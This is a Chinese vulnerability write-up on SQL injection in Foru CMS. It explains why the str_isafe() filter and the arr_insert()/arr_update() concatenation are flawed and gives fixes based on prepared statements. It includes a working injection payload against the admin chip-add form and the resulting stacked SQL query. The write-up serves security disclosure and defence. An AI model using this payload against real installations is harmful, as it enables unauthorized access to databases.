Foru cms SQL注入
字数 1077 2025-08-19 12:41:56
Foru CMS SQL注入漏洞分析与利用
1. 漏洞概述
Foru CMS存在SQL注入漏洞,主要原因是其过滤函数str_isafe()设计不当,导致攻击者可以绕过过滤机制执行恶意SQL语句。该漏洞影响使用arr_insert()和arr_update()函数处理用户输入的所有场景。
2. 漏洞原理分析
2.1 过滤函数缺陷
系统提供了两个关键过滤函数:
// 返回可安全执行的SQL,带html格式
function str_isafe($str) {
$tmp = array('SELECT ', 'insert ', 'update ', 'delete ', ' and', 'drop table', 'script', '*', '%', 'eval');
$tmp_re = array('select ', 'insert ', 'update ', 'delete ', ' and', 'drop table', 'script', '*', '%', '$#101;val');
return str_replace($tmp, $tmp_re, trim($str));
}
// 返回可安全执行的SQL,不带html格式
function str_safe($str) {
return str_isafe(htmlspecialchars($str));
}
问题在于:
str_isafe()仅进行了简单的字符串替换,没有有效防止SQL注入- 替换列表不完整,许多SQL关键词未被过滤
- 替换后的字符串仍可被数据库解析为原始关键词
2.2 危险函数实现
系统提供了两个用于构建SQL语句的函数:
// 插入数据数组处理
function arr_insert($arr) {
foreach ($arr as $k => $v) {
$tmp_key[] = "`" . str_safe($k) . "`";
$tmp_value[] = "'" . str_isafe($v) . "'";
}
return "(".implode(',', $tmp_key).") VALUES (".implode(',', $tmp_value).")";
}
// 更新数据数组处理
function arr_update($arr) {
$tmp = '';
foreach ($arr as $k => $v) {
$tmp .= "`" . str_safe($k) . "` = '" . str_isafe($v) . "',";
}
return rtrim($tmp, ',');
}
关键问题:
- 对字段名使用
str_safe()过滤(相对安全) - 对字段值使用
str_isafe()过滤(不安全) - 直接将用户输入拼接到SQL语句中
3. 漏洞利用分析
3.1 漏洞位置示例
ForU-CMS\admin\cms_chip.php中的代码:
if ($act == 'add') {
$data['c_name'] = $_POST['c_name'];
$data['c_code'] = $_POST['c_code'];
$data['c_content'] = $_POST['c_content'];
$data['c_safe'] = $_POST['c_safe'];
null_back($data['c_name'],'请填写碎片名称!');
$sql = "INSERT INTO chip " . arr_insert($data);
$dataops->ops($sql, '碎片新增', 1);
}
3.2 利用Payload
构造以下Payload进行注入:
c_name=kkk','1','1','1');select user()#&c_code=11111&c_content=111111&c_safe=0&submit=&act=add
这个Payload会形成如下SQL语句:
INSERT INTO chip (`c_name`,`c_code`,`c_content`,`c_safe`) VALUES ('kkk','1','1','1');select user()#','11111','111111','0')
3.3 利用特点
- 使用注释符
#截断原始SQL语句 - 添加新的SQL语句
select user()执行 - 需要闭合原始SQL语句的括号和引号
4. 漏洞修复建议
4.1 短期修复方案
- 修改
str_isafe()函数,增加更多SQL关键词过滤 - 对所有用户输入使用
str_safe()而非str_isafe()
4.2 长期修复方案
- 使用预处理语句(PDO prepared statements)替代字符串拼接
- 实现白名单机制验证输入
- 对不同类型的输入实现专门的过滤函数
4.3 代码示例改进
// 使用预处理语句的改进版本
if ($act == 'add') {
$stmt = $this->_db->prepare("INSERT INTO chip (c_name, c_code, c_content, c_safe) VALUES (?, ?, ?, ?)");
$stmt->execute([
$_POST['c_name'],
$_POST['c_code'],
$_POST['c_content'],
$_POST['c_safe']
]);
if ($stmt->rowCount() > 0) {
admin_log('碎片新增');
$this->href(1, '', '');
} else {
alert_back($GLOBALS['lang']['msg_failed']);
}
}
5. 漏洞影响范围
所有使用arr_insert()或arr_update()函数处理用户输入的地方都可能存在SQL注入风险,包括但不限于:
- 碎片管理功能
- 文章发布功能
- 用户管理功能
- 系统配置功能
6. 防御措施
- 输入验证:实现严格的白名单输入验证
- 参数化查询:使用PDO或MySQLi的预处理语句
- 最小权限原则:数据库用户应仅具有必要权限
- 错误处理:避免显示原始数据库错误信息
- WAF防护:部署Web应用防火墙拦截恶意请求
7. 总结
Foru CMS的SQL注入漏洞源于不完善的输入过滤和危险的SQL拼接方式。开发者应避免直接拼接用户输入到SQL语句中,转而使用预处理语句等更安全的方式与数据库交互。该漏洞的利用门槛较低,危害较大,建议用户及时修复。